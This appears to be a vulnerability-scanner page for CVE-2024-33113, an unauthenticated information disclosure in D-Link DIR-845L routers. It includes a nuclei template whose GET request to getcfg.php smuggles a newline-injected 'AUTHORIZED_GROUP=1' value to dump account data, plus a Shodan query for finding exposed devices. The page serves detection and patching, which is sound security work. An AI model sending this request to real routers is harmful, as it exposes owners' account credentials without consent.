D-LINK DIR-845L bsc_sms_inbox.php file - Information Disclosure

mediumseverity

3.4%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

D-LINK DIR-845L <=v1.01KRb03 is vulnerable to Information disclosurey via bsc_sms_inbox.php.

Impact

Unauthenticated attackers can access sensitive account and configuration information from the D-LINK DIR-845L router.

Fix

Update D-LINK DIR-845L firmware to a version later than 1.01KRb03 that patches the information disclosure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/getcfg.php?a=%0A_POST_SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1
Positive when: contains "<service>DEVICE.ACCOUNT</service>" and "<seqno>" AND status 200

Run it with nuclei: nuclei -id CVE-2024-33113 -u <target>

The full check

id: CVE-2024-33113

info:
  name: D-LINK DIR-845L bsc_sms_inbox.php file - Information Disclosure
  author: pussycat0x
  severity: medium
  description: |
    D-LINK DIR-845L <=v1.01KRb03 is vulnerable to Information disclosurey via bsc_sms_inbox.php.
  impact: |
    Unauthenticated attackers can access sensitive account and configuration information from the D-LINK DIR-845L router.
  remediation: |
    Update D-LINK DIR-845L firmware to a version later than 1.01KRb03 that patches the information disclosure vulnerability.
  reference:
    - https://github.com/FaLLenSKiLL1/CVE-2024-33113
    - https://github.com/yj94/Yj_learning/blob/main/Week16/D-LINK-POC.md
  classification:
    epss-score: 0.03419
    epss-percentile: 0.89003
    cpe: cpe:2.3:h:dlink:dir-845l:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: "DIR-845L"
    product: dir-845l
    vendor: dlink
  tags: cve,cve2024,dlink,info-leak,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/getcfg.php?a=%0A_POST_SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<service>DEVICE.ACCOUNT</service>"
          - "<seqno>"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from